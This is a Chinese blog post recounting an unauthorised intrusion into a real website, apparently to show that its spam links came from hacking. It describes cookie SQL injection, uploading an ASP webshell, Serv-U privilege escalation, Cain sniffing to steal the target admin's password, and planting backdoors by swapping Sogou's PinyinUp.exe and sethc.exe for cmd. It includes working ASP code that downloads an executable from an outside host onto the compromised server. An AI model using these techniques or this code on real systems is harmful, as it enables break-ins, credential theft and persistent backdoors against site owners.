渗透fdyz

  • A+
所属分类:lcx

很久以前写的了!

首先说下为什么要渗透这个站,在浏览CNBeta的时候看到了一篇文章,附上文章地址!

http://www.cnbeta.com/articles/131702.htm

文章里所说,网站主要是百度造成的,而我并不赞同,分析可能是网站被黑客入侵所挂的链接,结果被百度搜录所造成的。

下面来简单讲下渗透过程。。

目标IP:218.22.XX.X1

首先打开主站,查看站点链接,判断网站所用系统是E创网站系统,这套系统有个文件在下载漏洞,结果没利用成功,查找后台无果。

接下来尝试旁注,无果,独立服务器。

那么就只有C段嗅探了,继续查找类似目标,找到个 218.22.XX.X0,直接打开站点,初步看了下,没看出来是用的哪套系统。

找到网站的几个目录下站点漏洞也利用不了,返回网站首页,再一个链接后加了个单引号,直接弹出无法注入提示框,抱着试试的心态,看能不能cookie注入,翻出工具进行注入中转,RP爆发,成功。用阿D不给力啊,用明小子成功破解出网站帐号密码,密码是MD5加密,拿到CMD5上去破解,成功破之。

登录后台,直接上传asp,拿到shell,没想到那网站程序根本没过滤上传文件类型。

OK,webshell到手后,提权!直接Serv-U就提上去了,成功进入服务器!

然后丢个Cain上去,开始安装嗅探目标 218.22.XX.X1,大概过了半个小时,成功拿到目标站的网站后台帐号密码。

先不慌,这说明管理员登录网站后台,在线上。接着就出去吃饭去了。。。吃完回来接着搞,这时差不多,拿到嗅探到的帐号密码成功登录网站后台。

接下来就是拿shell,其实这套系统是仿的尘缘雅境的,本想利用上传直接秒的,结果还不行。那就只能用另一种方法插一句拿shell了,轻车熟路搞定。

shell到手了,那接下来还是提权,服务器权限很大,都可以浏览,组件也没删。

郁闷的是,shell上传文件不行,报错!那怎么办呢,沉思下,结果找出N久以前的下载文件脚本。以下是代码!

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xxx.com/PinyinUp.exe",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("PinyinUp.exe"),2
set sGet = nothing
set sPOST = nothing
%>

新建文件,把该代码加进去,然后在浏览器上执行,文件就会下载到目标服务器上了。

最后就是提权,折腾了N久,最终还是利用Sougou拼音输入法提的权。把Sougou安装目录下的PinyinUp.exe文件进行替换。

方法就是建个BAT文件,然后在转换成exe格式的再把目标文件替换掉即可。

刚开始加的是系统账户,结果账户是成功加到目标服务器上去了,登录的时候却登不了,这个原因以前就碰到过,不知为何。

最后是把system32目录下的sethc文件给替换成cmd才成功的。。到这里就不多说了,Over~~

渗透fdyz

渗透fdyz

站长评论:

    楼主说的那个站,跟百度无关,完全是网站被入侵了,挂了一段黑帽SEO脚本,劫持了百度蜘蛛和从搜索引擎来访的用户,原理很简单,那段脚本可以判断来路、搜索引擎,如果符合就跳转,或者输出指定内容,很老的SEO手法了。

文章来源于lcx.cc:渗透fdyz

相关推荐: 中国姓名排行 TOP 500(来自人口数据库)

$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1 Starting smtp-user-enum v1.0 ( http://pentestmonkey.net/tools/smtp-user-enum …

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: